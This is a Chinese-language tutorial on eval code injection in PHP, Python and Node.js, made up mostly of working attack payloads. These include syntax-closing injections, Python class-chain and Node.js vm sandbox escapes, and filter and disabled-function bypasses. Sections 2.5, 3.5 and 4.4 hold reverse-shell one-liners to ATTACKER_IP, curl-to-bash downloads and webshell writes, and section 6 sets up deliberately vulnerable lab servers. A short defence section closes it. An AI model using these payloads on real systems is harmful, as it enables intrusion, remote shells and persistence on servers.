一、eval 是什么

eval() 是各语言中最危险的函数之一,它将字符串当作代码执行。当用户输入能够进入 eval() 时,就会产生代码注入漏洞。

eval("echo 'hello';");     // PHP: 执行 PHP 代码
eval("import os; os.system('id')")  # Python: 执行 Python 代码
eval("require('child_process').execSync('ls')")  // Node.js: 执行 JS 代码

二、PHP eval 注入

2.1 基础漏洞模型

<?php
// 场景1: 直接拼接用户输入
$code = $_GET['cmd'];
eval($code);

// 场景2: 用户输入嵌入字符串
$prefix = 'echo "Hello, ';
$suffix = '!";';
eval($prefix . $_GET['name'] . $suffix);
// 攻击: ?name=';phpinfo();//

// 场景3: 代码中嵌入变量
$code = '$user = "' . $_GET['user'] . '";';
eval($code);
// 攻击: ?user=";system('whoami');//

// 场景4: 数组访问
$id = $_GET['id'];
eval("$res = $users[$id];");
// 攻击: ?id=0];phpinfo();//
?>

2.2 闭合技巧大全

// 原始代码结构
eval("something('" . $user_input . "');");

// 方式1: 单引号闭合
// 输入: ');phpinfo();//
// 执行结果: eval("something('');phpinfo();//');");

// 方式2: 双引号闭合
// 输入: ");phpinfo();//
// 执行结果: eval("something(");phpinfo();//");

// 方式3: 分号 + 注释
// 输入: ';system('id');//

// 方式4: 替换逻辑
// 假设代码: eval("$a = str_replace('x', '$user', '$src');");
// 输入: x','');system('id');//
// 结果: eval("$a = str_replace('x', '');system('id');//', '');");

2.3 PHP 动态函数调用与 assert()

<?php
// assert() 在 PHP 5 中可以执行代码
assert($_GET['cmd']);  // 等价于 eval()

// call_user_func
call_user_func($_GET['func'], $_GET['arg']);
// ?func=system&arg=whoami

// 动态变量
$func = $_GET['func'];
$func($_GET['arg']);

// 数组回调
$cb = array($_GET['class'], $_GET['method']);
call_user_func($cb);

// 反引号执行 shell
$result = `whoami`;  // 等同于 shell_exec()

2.4 无字母数字绕过

[a-zA-Z0-9] 被过滤时,仍可执行代码:

<?php
// 使用异或构造字符
$_=('!'^'+')  // '('
.__=('|'^'/')  // 'S'
// 完整的异或表可以构造任意函数名

// 使用自增运算符
$a=++$a;  // 从 null 变成 1
// 逐步构造 'S','Y','S','T','E','M'
$_.=++$_; // S
$_.=++$_; // SY
// ...

// 使用 file_put_contents 写马
# 构造: file_put_contents('a.php', '<?php eval($_POST[a]);')

2.5 PHP 反弹 Shell PoC

<?php
// eval 注入 Payload
// 监听端: nc -lvnp 4444

// Payload 1: 标准反弹
eval("system('bash -c "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"');");

// Payload 2: 下载并执行
eval("system('curl http://ATTACKER/reverse.sh|bash');");

// Payload 3: Python 反弹(如果有 Python)
eval("system('python3 -c "import socket,subprocess,os;s=socket.socket();s.connect((\"ATTACKER_IP\",4444));[os.dup2(s.fileno(),f) for f in (0,1,2)];subprocess.call([\"/bin/sh\"])"');");

// Payload 4: Perl 反弹
eval("system('perl -e \'use Socket;\$i=\"ATTACKER_IP\";\$p=4444;socket(S,AF_INET,SOCK_STREAM,getprotobyname(\"tcp\"));if(connect(S,sockaddr_in(\$p,inet_aton(\$i)))){open(STDIN,\">&S\");open(STDOUT,\">&S\");open(STDERR,\">&S\");exec(\"/bin/sh\");};\'');");

// Payload 5: 长连接(无 nc 时)
eval("system('bash -c "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1" 2>/dev/null &');");
?>

三、Python eval 注入

3.1 基础漏洞模型

from flask import Flask, request

app = Flask(__name__)

@app.route('/calc')
def calc():
    expr = request.args.get('expr', '1+1')
    result = eval(expr)  # 危险!
    return str(result)

# 攻击 Payload:
# __import__('os').system('whoami')
# __import__('subprocess').getoutput('id')
# open('/etc/passwd').read()
# [].__class__.__bases__[0].__subclasses__()

3.2 Python 类继承链利用

# 获取所有已加载的类
[].__class__.__bases__[0].__subclasses__()

# 找到 os._wrap_close 类
# 利用其 __init__ 中的 popen

# 找 __import__ 函数
().__class__.__bases__[0].__subclasses__()[某个索引].__init__.__globals__['__builtins__']['__import__']('os').system('whoami')

# 更短的形式
__import__('os').popen('whoami').read()

# 使用 globals
globals().__getitem__('__builtins__')['__import__']('os').system('id')

# 利用 list 的子类
list.__subclasses__()[0].__init__.__globals__['__builtins__']['__import__']('os').system('id')

3.3 Python exec 与 compile

# exec 可以执行多行代码
exec("import os
os.system('whoami')")

# compile 可以构造代码对象再执行
code = compile("import os; os.system('id')", '<string>', 'exec')
eval(code)  # 或 exec(code)

# execfile(Python 2)
execfile('/etc/passwd')  # 会执行文件内容

3.4 Python Flask SSTI 与 eval 组合

from flask import Flask, request, render_template_string

app = Flask(__name__)

@app.route('/page')
def page():
    name = request.args.get('name')
    # 模板注入
    return render_template_string(f'Hello {name}!')

# 攻击:
# {{7*7}} -> 49(模板注入验证)
# {{config}} -> 泄露配置
# {{''.__class__.__mro__[2].__subclasses__()}} -> 获取类列表
# 结合 eval 执行任意代码

3.5 Python 反弹 Shell 完整 PoC

# eval 注入中的反弹 Shell Payload(单行)
__import__('socket').socket(2,1).connect(('ATTACKER_IP',4444));import os;[os.dup2(0,f) for f in (1,2)];os.execv('/bin/sh',('sh',))

# 带 subprocess 的版本
__import__('subprocess').call(['/bin/bash','-c','bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1'])

# 利用 exec(如果 eval 不行但 exec 可以)
exec("""import socket, os
s = socket.socket()
s.connect(('ATTACKER_IP', 4444))
for fd in (0,1,2):
    os.dup2(s.fileno(), fd)
os.exec('/bin/sh')""")

# 写入 webshell
__import__('os').system("echo '<?php eval($_POST[cmd]);?>' > /var/www/html/shell.php")

四、Node.js eval 注入

4.1 基础漏洞模型

const express = require('express');
const app = express();

app.get('/calc', (req, res) => {
  const expr = req.query.expr;
  // 危险 eval
  const result = eval(expr);
  res.send(String(result));
});

// 攻击 Payload:
// process.mainModule.require('child_process').execSync('whoami').toString()
// require('child_process').exec('id')

4.2 Node.js 全局对象与沙箱逃逸

// 获取全局对象
this.constructor.constructor('return this')()
// 或
Function('return this')()

// 获取 process 对象
this.constructor.constructor('return process')()
// 然后访问 mainModule

// 获取 require
process.mainModule.require
// 或
global.require

// 完整的命令执行链
this.constructor.constructor('return process')().mainModule.require('child_process').execSync('whoami').toString()

// 更短形式
global.process.mainModule.require('child_process').execSync('id')

4.3 Node.js vm 模块逃逸

const vm = require('vm');

// 漏洞代码 - 创建了看似安全的沙箱
const sandbox = {};
const script = new vm.Script(userInput);
const context = vm.createContext(sandbox);
script.runInContext(context);

// 逃逸 Payload:
this.constructor.constructor('return this.constructor.constructor')()
// 最终获取 process.mainModule.require

// 或通过 Error 构造函数
err = new Error();
err.constructor.constructor('return process')().mainModule.require('child_process').execSync('id')

4.4 Node.js 反弹 Shell

// 反弹 Shell Payload(需先获取 require)
require('child_process').exec('bash -c "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"')

// 无 require 时
this.constructor.constructor('return process')().mainModule.require('child_process').exec('bash -c "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"')

// 短连接版本
this.constructor.constructor('return process')().mainModule.require('child_process').execSync('curl http://ATTACKER/s.sh|bash')

五、跨语言代码注入对比

特性 PHP eval Python eval Node.js eval
是否需要闭合语法 通常需要 不需要 不需要
命令执行函数 system(),exec(),shell_exec() os.system(),subprocess child_process.exec()
无字母绕过 可通过异或 可通过 base64/类链 可通过 Function 构造器
沙箱逃逸 disable_functions 限制 restricted eval 模式 vm 模块
文件写入 file_put_contents() open().write() fs.writeFileSync()

六、实战环境搭建

6.1 PHP eval 靶场

<?php
// eval-lab.php - 自己搭建的简单靶场
$action = $_GET['action'] ?? 'phpinfo();';
echo '<h3>Eval Lab</h3>';
eval($action);
?>
<!-- 测试: http://localhost:8080/eval-lab.php?action=phpinfo(); -->
<!-- 攻击: http://localhost:8080/eval-lab.php?action=system('whoami'); -->

6.2 Python Flask eval 靶场

from flask import Flask, request
app = Flask(__name__)

@app.route('/eval')
def do_eval():
    code = request.args.get('c', '1+1')
    try:
        result = eval(code)
        return str(result)
    except Exception as e:
        return str(e)

@app.route('/exec')
def do_exec():
    code = request.args.get('c', 'print(1)')
    try:
        exec(code)
        return "executed"
    except Exception as e:
        return str(e)

if __name__ == '__main__':
    app.run(port=5000, debug=True)
# 测试: http://localhost:5000/eval?c=__import__('os').system('whoami')

6.3 Node.js eval 靶场

const express = require('express');
const app = express();

app.get('/eval', (req, res) => {
  const code = req.query.c || '1+1';
  try {
    const result = eval(code);
    res.send(String(result));
  } catch(e) {
    res.send(e.message);
  }
});

app.listen(3000, () => console.log('Running on port 3000'));
// 测试: http://localhost:3000/eval?c=require('child_process').execSync('whoami').toString()

七、过滤绕过实战

7.1 单双引号过滤

// PHP
// 无引号: 使用 $_GET 变量引用
eval($_GET['a'][$_GET['b']]);  // a=system&b=whoami

// Python
# 无引号: 使用 chr 或 base64
__import__('os').system('whoami')
# 转 base64
__import__('base64').b64decode('d2hvYW1p').decode()
# 拼接
''.join(chr(c) for c in [119,104,111,97,109,105])

// Node.js
// 无引号: 使用 String.fromCharCode
require('child_process').execSync(String.fromCharCode(119,104,111,97,109,105))

7.2 system 关键字过滤

// PHP - 拆分绕过
// s.y.s.t.e.m -> system
$func = 's' . 'y' . 's' . 't' . 'e' . 'm';
$func('whoami');

// 数组键名
$_GET['sy' . 'stem']($_GET['cmd']);

// PHP 7+ 组合
// ?cmd=whoami
// eval 中: ${"system"}($_GET['cmd']);

7.3 禁用函数绕过(PHP)

如果 system/exec/passthru 都被禁用:

1. 使用 pcntl_exec(如果启用)
2. 使用 backtick operator `cmd`
3. 使用 PHP 7+ 的 FFI 扩展调用 C 函数
4. 使用 Imagick 等扩展的命令执行
5. 使用 Mail() 函数(需要配置 sendmail)
6. 使用 Apache 的 mod_cgi
7. 使用 curl 的 CURLOPT_WRITEFUNCTION 配合命令注入
8. 使用 extract() 覆盖变量导致代码执行

八、防御代码注入

8.1 禁用 eval

// php.ini: disable_functions = eval,assert,passthru,exec,shell_exec,system,popen,proc_open
// 但 PHP 8 中 assert 已不能执行代码

8.2 白名单机制

import ast

def safe_eval(expr):
    allowed_nodes = (
        ast.Expression, ast.BinOp, ast.UnaryOp,
        ast.Num, ast.Str, ast.Constant, ast.Name,
        ast.Load, ast.Add, ast.Sub, ast.Mult, ast.Div,
        ast.Mod, ast.Pow, ast.LShift, ast.RShift
    )
    tree = ast.parse(expr, mode='eval')
    for node in ast.walk(tree):
        if not isinstance(node, allowed_nodes):
            raise ValueError(f"Disallowed: {type(node).__name__}")
    return eval(compile(tree, '<safe>', 'eval'))

8.3 Node.js 沙箱化

// 使用 isolated-vm 或 vm2 库
const ivm = require('isolated-vm');
const isolate = new ivm.Isolate({ memoryLimit: 16 });
const context = isolate.createContextSync();

// 不继承全局对象,阻断 process/mainModule 访问
const script = isolate.compileScriptSync(userInput);
script.runSync(context);

九、总结

代码注入的核心技巧:

  1. 闭合语法:理解代码上下文,构造正确的 Payload 闭合
  2. 寻找命令执行原语:system/exec/child_process 等
  3. 绕过过滤:字符串拼接、变量引用、base64、chr 数组
  4. 沙箱逃逸:从受限环境获取 process/require/System 等全局对象
  5. 实战转化:命令执行 -> 反弹 Shell -> 持久化